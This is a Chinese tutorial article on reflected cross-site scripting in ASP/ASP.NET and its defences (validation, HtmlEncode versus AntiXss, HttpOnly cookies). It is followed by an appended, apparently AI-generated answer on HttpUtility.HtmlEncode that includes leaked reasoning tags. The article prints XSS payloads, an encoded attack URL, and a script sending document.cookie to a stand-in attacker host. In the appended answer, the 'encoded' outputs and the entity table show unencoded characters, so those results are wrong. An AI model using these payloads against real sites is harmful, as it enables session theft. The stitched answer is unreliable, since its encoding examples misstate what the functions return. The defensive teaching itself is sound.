HttpUtility与AntiXss的区别

本文详细解析了跨站脚本XSS漏洞的原理、危害及防范措施,通过实例展示了如何在Web应用开发中避免此类安全漏洞,重点介绍了验证用户输入、输出编码、使用AntiXss库等关键技术和实践。

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作者:褚诚云

《程序员》文章。申明。文章仅代表个人观点,与所在公司无任何联系。

1.概述

跨站脚本Cross-Site Scripting(XSS)是最为流行的Web安全漏洞之一。据统计,2007年,跨站脚本类的安全漏洞的数目已经远远超出传统类型的安全漏洞【1】。那么,什么是跨站脚本?它的危害性是什么?Web开发人员如何在开发过程中避免这类的安全漏洞?就是我们这篇文章要讨论的内容。

2.什么是跨站脚本

2.1 跨站脚本介绍

跨站脚本,就是攻击者可以将恶意的脚本代码注入到用户浏览的其它网页上。它有好几种类型。其中最为普遍的类型称为反射类(Reflection)的跨站脚本。让我们来看下面这个例子来具体说明XSS的机理。

以一个简单的ASP网页举例。这个ASP网页的目的很简单:用户输入自身名字,ASP动态产生一个“hello world”的网页。

testXSS.html


<html> <head> <title>XSS Test Page</title> </head> <body> <form action="testXSS.asp" method="GET"> XSS-test page. <br> Please enter your name: <input type="text" name="txtName" value=""></input> <input type="submit" value="Hello"></input> </form> </body> </html>

当用户浏览到这个网页时,就会显示:

 

输入用户的名字,例如foo。点击Hello,就会产生以下ASP请求:

http://<server-url>/testXSS.asp?txtName=foo

下面是后台ASP的代码,

testXSS.asp


<html> <head> <title>XSS Test Result ASP page</title> </head> <body> <% Response.Write("Hello world! ") Response.Write(Request.QueryString("txtname")) %> </body> </html>

动态生成的ASP网页就是:

 

这个ASP应用很简单,看上去没有任何功能上的问题。但是,它确存在着一个非常典型的反射类的跨站脚本漏洞。下面我们来看看攻击者是如何利用的。

在用户姓名栏中输入脚本信息:


<script>alert("script injection\n"+document.cookie);</script><body>

发出的ASP的请求就是:

http://<server-url>/testXSS.asp?txtName=%3Cscript%3Ealert%28%22script+injection%5Cn%22%2Bdocument.cookie%29%3B%3C%2Fscript%3E

那么,动态生成的ASP 网页中就包括了攻击者插入的脚本


<html> <head> <title>XSS Test Result ASP page</title> </head> <body> Hello world! <script>alert("script injection\n"+document.cookie);</script> </body> </html>

用户的Browser就会弹出以下窗口:

 

跨站脚本除了Reflection类型外,还有其它几种类型,例如基于DOM的跨站脚本和存储型的跨站脚本,限於篇幅,这里就不详细讨论了。有兴趣的读者可以参见【1】。

3. 跨站脚本的危害性

看了上面这个XSS的例子,那么XSS的造成的危害在哪里?下面我们通过一些问答来阐述XSS的危害性。

提问1:这不是攻击者自己键入的脚本在自己的浏览环境中执行吗?

其实不然,XSS的攻击手段是诱使用户点击email或网页中的URL链接,例如下面这个URL链接:

http://<server-url>/testXSS.asp?txtName=%3Cscript%3Ealert%28%22script+injection%5Cn%22%2Bdocument.cookie%29%3B%3C%2Fscript%3E

这样,当一个普通用户点击的这个链接的时候,攻击者的脚本就可以在这个被攻击用户的浏览环境中执行了。

提问2:上面这个链接也太可疑了。脚本直接显示在URL中,一般的用户可能是不会点击的吧?

没错。但是在真正的攻击中,以上的script会以不同的形式编码,例如下面这种链接:

http:// <server-url>/testXSS.asp?txtName=%22%3E%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%22%73%63%72%69%70%74%20%69%6E%6A%65%63%74%69%6F%6E%5C%6E%22%2B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29%3B%3C%2F%73%63%72%69%70%74%3E

对于这种链接,许多普通用户可能就直接点击了。尤其是如果Server-url是自己经常访问的网站的话 。

提问3:只是显示了document.cookie有什么危害?

如果只是显示cookies的话,当然不会造成任何影响。但是,上面这个例子只是一个示范。在真正的攻击中,往往会将用户的cookies直接发送到攻击者控制的网站。例如使用以下脚本:

<script>document.location='http://<badguy-url>/cgi-bin/cookie.cgi? '%20+document.cookie</script>

提问4:窃取了document.cookie又有什么危害?

这就要从浏览器安全的基本原则:同源原则SOP(Same-origin policy)讲起。简要的说,SOP意味着一个域的文档或脚本,在未经用户批准的情况下,不能获取或修改另一个域的文档的属性。为什么需要SOP?你肯定不希望在访问www.bad-url.com的时候它里面的脚本可以阅读www.hotmail.coml中的内容。

基于SOP,一个域存放的Cookie只能和该域的服务器打交道。例如,hotmail的Cookie只能给 hotmail服务器使用。其它任何网站都不能获取这个Cookie。

正因为Cookie的这个特性,在许多Web应用的设计上,都是先用https来验证用户的登录名和密码,然后发送一个特殊的Session Cookie来代表用户验证过的身份。举个例子,如果hotmail存在在XSS漏洞,一个用户的hotmail的session cookie就可能被攻击者获取。攻击者然后就可以用这个session cookie,以这个用户的身份访问hotmail,从而造成敏感信息的泄漏(information disclosure)。

4.如何避免XSS安全漏洞

虽然在IE8中引入了客户端的XSS过滤器以减少XSS对用户造成的危害,但是XSS本质上是Web应用服务的漏洞,仅仅依赖客户端的保护措施是不够的。解决问题的根本是在Web应用程序的代码中消除XSS安全漏洞。

以下是在Web应用的开发中避免XSS安全漏洞的几个原则:


检查所有产生动态网页的代码
判定动态网页的内容是否包括不安全的输入信息
对输入进行校验
对输出进行编码以过滤特殊字符

采用不同的Web开发工具,实施以上原则的具体步骤也不相同。下面我们就用微软的ASP.NET来举例。

设想如下的ASP.net应用【2】:


<%@ Page Language="C#" ValidateRequest="false" %> <html> <script runat="server"> void btnSubmit_Click(Object sender, EventArgs e) { // If ValidateRequest is false, then 'hello' is displayed // If ValidateRequest is true, then ASP.NET returns an exception Response.Write(txtString.Text); } </script> <body> <form id="form1" runat="server"> <asp:TextBox id="txtString" runat="server" Text="<script>alert('hello');</script>" /> <asp:Button id="btnSubmit" runat="server" OnClick="btnSubmit_Click" Text="Submit" /> </form> </body> </html>

细心的读者可能注意到上面有一个特殊的设置ValidateRequest="false"。我们以后会对它详细说明。

检查所有产生动态网页的代码

ASP.net有两种方式产生动态网页。一个是通过Response.Write,一个是通过<%=。

判定动态网页的内容是否包括用户输入的信息

例如,检查Response.write的输出数据的来源。上例中它的数据源于txtString,是源自用户的输入数据。

验证用户的输入

ValidateRequest选项

缺省情况下,在ASP.NET的machine.config文件中,validateRequest选项是打开的。ASP.NET会自动对用户输入作一定的验证。

例如,当ValidateRequest的值为true的话,如果用户输入txtstring的值为<script>alert('hello');</script>。ASP.NET会有产生如下异常信息:


HttpRequestValidationException (0x80004005): A potentially dangerous Request.Form value was detected from the client (txtString="<script>alert('hello...").] System.Web.HttpRequest.ValidateString(String s, String valueName, String collectionName) +3307682 System.Web.HttpRequest.ValidateNameValueCollection(NameValueCollection nvc, String collectionName) +108 System.Web.HttpRequest.get_Form() +119 System.Web.HttpRequest.get_HasForm() +3309630 System.Web.UI.Page.GetCollectionBasedOnMethod(Boolean dontReturnNull) +45 System.Web.UI.Page.DeterminePostBackMode() +65 System.Web.UI.Page.ProcessRequestMain(Boolean includeStagesBeforeAsyncPoint, Boolean includeStagesAfterAsyncPoint) +7350 System.Web.UI.Page.ProcessRequest(Boolean includeStagesBeforeAsyncPoint, Boolean includeStagesAfterAsyncPoint) +213 System.Web.UI.Page.ProcessRequest() +86 System.Web.UI.Page.ProcessRequestWithNoAssert(HttpContext context) +18 System.Web.UI.Page.ProcessRequest(HttpContext context) +49

需要强调的一点是:ValidateRequest只是ASP.NET提供的深层防御手段(Defense-in-Depth)。Web开发中不能仅依赖它,而没有专门的对输入的校验代码。

对不安全输入信息的校验。


校验来自服务器端控制的输入,可以考虑使用 ASP.NET中的 RegularExpressionValidator和 RangeValidator.
校验来自客户端HTML的输入,例如QueryString,客户端的输入控制,Cookie等等,可以考虑使用System.Text.RegularExpressions.Regex类用正则表达式来验证。
验证其它非字符串的类型,如整数,日期,货币单位等等,可以考虑用.NET Framework数据类型校验。

有兴趣的读者可以参考【3】获取进一步的信息。

对输出进行编码以过滤特殊字符

当需要将一个字符串输出到Web网页时,但又不能完全确定这个字符串是否包括HTML的特殊字符,例如“<,>,&”等等,可以使用编码(HTMLEncode)以过滤这些特殊字符。

有以下两种HTMLEncode 手段

使用ASP.NET自身支持的HttpUtility。

例如:

Response.Write(HttpUtility.HtmlEncode(Request.Form["name"]));

使用微软提供的反跨站脚本库(Microsoft Anti-Cross Site Scripting Library V1.5 - AntiXss)。

AntiXSS是一个单独下载的软件库。开发人员可以从http://www.microsoft.com/downloads/details.aspx?FamilyId=EFB9C819-53FF-4F82-BFAF-E11625130C25&displaylang=en直接下载。

AntiXss的使用方式与HttpUtility类似:

String Name = AntiXss.HtmlEncode(Request.QueryString["Name"]);

那么HttpUtility和AntiXss的区别是什么?开发人员应该使用哪一种?

它们最大的区别在于HttpUtility.HtmlEncode采用的是黑名单验证(Black list)方式。即HttpUtility.HtmlEncode仅仅过滤它知道的特殊字符,而允许其它的输入。AntiXss.HtmlEncode采用的白名单验证(White list)方式。它只允许输出它认为合法的字符,而过滤掉其它的所有字符。

两者中,AntiXss.HtmlEncode要更为安全,是推荐的使用手段。关于AntiXss的进一步信息,读者可以参考【4】。

HttpOnly Cookie

HttpOnly cookie是一种对抗XSS安全漏洞的深层防御手段。

Web应用可以通过设置如下的Http Respone头信息将Cookie的属性设为HttpOnly。

Set-Cookie: USER=123; expires=Wednesday, 09-Nov-99 23:12:40 GMT; HttpOnly

IE6 SP1版本后就会确保客户端的脚本不能使用属性设为HttpOnly 的Cookie。从而可以有效的降低XSS安全漏洞的危害程度。当然,如果用户使用非IE浏览器,HttpOnly就无效了。关于HttpOnly Cookie的进一步信息,读者可以参考【5】。

5.总结

跨站脚本XSS是最为常见的一类Web安全漏洞。它会导致用户敏感信息的丢失。Web开发人员在开发过程中应采取必要的校验和编码手段来避免XSS安全漏洞。

6.参考文献


Cross-site scripting, http://en.wikipedia.org/wiki/Cross-site_scripting, Wikipedia
How To: Prevent Cross-Site Scripting in ASP.NET, http://msdn.microsoft.com/en-au/library/ms998274.aspx#paght000004_step2, Microsoft
How To: Protect From Injection Attacks in ASP.NET, http://msdn.microsoft.com/en-au/library/bb355989.aspx, Microsoft
Microsoft Anti-Cross Site Scripting Library V1.5: Protecting the Contoso Bookmark Page,http://msdn.microsoft.com/en-us/library/aa973813.aspx, Microsoft
Mitigating Cross-site Scripting With HTTP-only Cookies, http://msdn.microsoft.com/en-us/library/ms533046.aspx, Microsoft

 

<think>我们被要求解释C#HttpUtility.HtmlEncode和HtmlDecode的使用方法,并参考了提供的引用内容。 引用[1]和[2]提到了HttpUtility.HtmlEncode, HttpUtility.HtmlDecode, Server.HtmlEncode, Server.HtmlDecode等,并指出HttpServerUtility类(在ASP.NET中,Server属性就是HttpServerUtility的实例)。 引用[3]展示了一个JavaScript版本的HTML编码解码函数,但我们的重点是C#。 引用[4]指向了一篇博客,详细比较了C#中几种HtmlEncode方法。 根据引用内容,我们可以总结: 1. HttpUtility.HtmlEncode 和 HttpUtility.HtmlDecode 是静态方法,可以在任何地方使用(需要引用System.Web)。 2. 在ASP.NET Web Forms中,我们可以使用Server.HtmlEncode和Server.HtmlDecode(它们是HttpServerUtility的实例方法),通常通过Page.Server属性访问。 3. 在.NET 4.0及以上,还引入了WebUtility.HtmlEncode和WebUtility.HtmlDecode(位于System.Net命名空间),可以在非Web环境(如控制台)使用,且不需要引用System.Web。 用户的问题是:如何使用HttpUtility.HtmlEncode和HtmlDecode。 我们将重点介绍HttpUtility类的这两个方法。 步骤: 1. 引入命名空间:System.Web(注意:在.NET Core中,需要安装兼容包或使用WebUtility) 2. 使用HtmlEncode将字符串中的特殊字符转换为HTML实体,例如:'<' 变成 '<' 3. 使用HtmlDecode将HTML实体转换回特殊字符,例如:'<' 变成 '<' 注意:在.NET Core中,HttpUtility类位于单独的包中(Microsoft.AspNetCore.Http或System.Web名字的兼容包),或者使用WebUtility(在System.Net命名空间,适用于跨平台)。 下面我们给出代码示例。</think>### C# 中 `HttpUtility.HtmlEncode` `HtmlDecode` 使用指南 #### 1️⃣ **核心作用** - **`HtmlEncode`**: 将特殊字符转换为 HTML 实体 (防止 XSS 攻击,确保 HTML 安全渲染) - **`HtmlDecode`**: 将 HTML 实体还原为原始字符 (显示编码后的内容) #### 2️⃣ 基本用法 ```csharp using System.Web; // 需引用 System.Web 程序集 // 编码示例 string rawText = "<script>alert('XSS')</script> & 符号"; string encodedText = HttpUtility.HtmlEncode(rawText); // 输出: <script>alert('XSS')</script> & 符号 // 解码示例 string decodedText = HttpUtility.HtmlDecode(encodedText); // 输出还原: <script>alert('XSS')</script> & 符号 ``` #### 3️⃣ 不同场景下的编码方法对比 | **方法** | **命名空间** | 适用场景 | 平台支持 | |------------------------------|--------------------|----------------------------------|------------------| | `HttpUtility.HtmlEncode` | `System.Web` | ASP.NET Web Forms/MVC | .NET Framework | | `Server.HtmlEncode` | `System.Web.UI` | ASP.NET 页面代码后置 (Page 类) | Web Forms | | `WebUtility.HtmlEncode` | `System.Net` | 控制台/WPF/.NET Core | 跨平台 | > **关键区别**: > - `HttpUtility` 需 `System.Web` 依赖(不适用于 .NET Core) > - `WebUtility` 是轻量级跨平台替代方案[^2][^4] #### 4️⃣ 实际应用场景 **场景1:用户输入安全处理** ```csharp // 接收用户输入 string userInput = txtComment.Text; // 存入数据库前编码 string safeContent = HttpUtility.HtmlEncode(userInput); SaveToDatabase(safeContent); // 显示时解码(可选) lblDisplay.Text = HttpUtility.HtmlDecode(safeContent); ``` **场景2:生成动态 HTML** ```csharp StringBuilder html = new StringBuilder(); foreach (var item in userData) { html.Append($"<li>{HttpUtility.HtmlEncode(item.Name)}</li>"); } // 避免将未编码的 "</li><script>..." 注入页面 ``` #### 5️⃣ 编码转换对照表 | **原始字符** | **编码后实体** | **作用** | |--------------|----------------|-----------------------| | `<` | `<` | 防止标签解析 | | `>` | `>` | 防止标签闭合 | | `&` | `&` | 避免实体字符冲突 | | `"` | `"` | 保护属性值中的引号 | | `'` | `'` | 保护单引号属性值 | #### 6️⃣ 重要注意事项 1. **解码风险** ```csharp // 危险操作:解码未经验证的输入 string dangerous = HttpUtility.HtmlDecode(untrustedInput); ``` 仅在确认内容来源安全时解码 2. **性能优化** 循环处理大量数据时使用 `StringBuilder`: ```csharp var sb = new StringBuilder(); foreach (var s in largeList) { sb.Append(HttpUtility.HtmlEncode(s)); } ``` 3. **.NET Core 替代方案** ```csharp // 安装 System.Text.Encodings.Web 包 using System.Text.Encodings.Web; string encoded = HtmlEncoder.Default.Encode("安全文本"); ``` #### 7️⃣ 前端协同处理(参考引用[3]) JavaScript 等效方法: ```javascript // 编码 function HTMLEncode(html) { return html.replace(/[&<>"']/g, m => ({'&':'&','<':'<','>':'>','"':'"',"'":'''}[m]) ); } // 解码 function HTMLDecode(text) { const doc = new DOMParser().parseFromString(text, "text/html"); return doc.documentElement.textContent; } ``` > 完整前后端交互流程: > **用户输入 → 前端验证 → 后端 `HtmlEncode` → 安全存储 → 前端 `HtmlDecode` 显示** --- ### 相关问题 1. 在 .NET Core 中如何替代 `HttpUtility.HtmlEncode`?[^4] 2. 何时应该使用 `HtmlDecode`?是否存在安全风险? 3. `HttpUtility.UrlEncode` 和 `HtmlEncode` 有何区别? 4. 如何批量处理数据集合的 HTML 编码? 5. XSS 防护中除了 HTML 编码还有哪些关键措施?[^1][^2]
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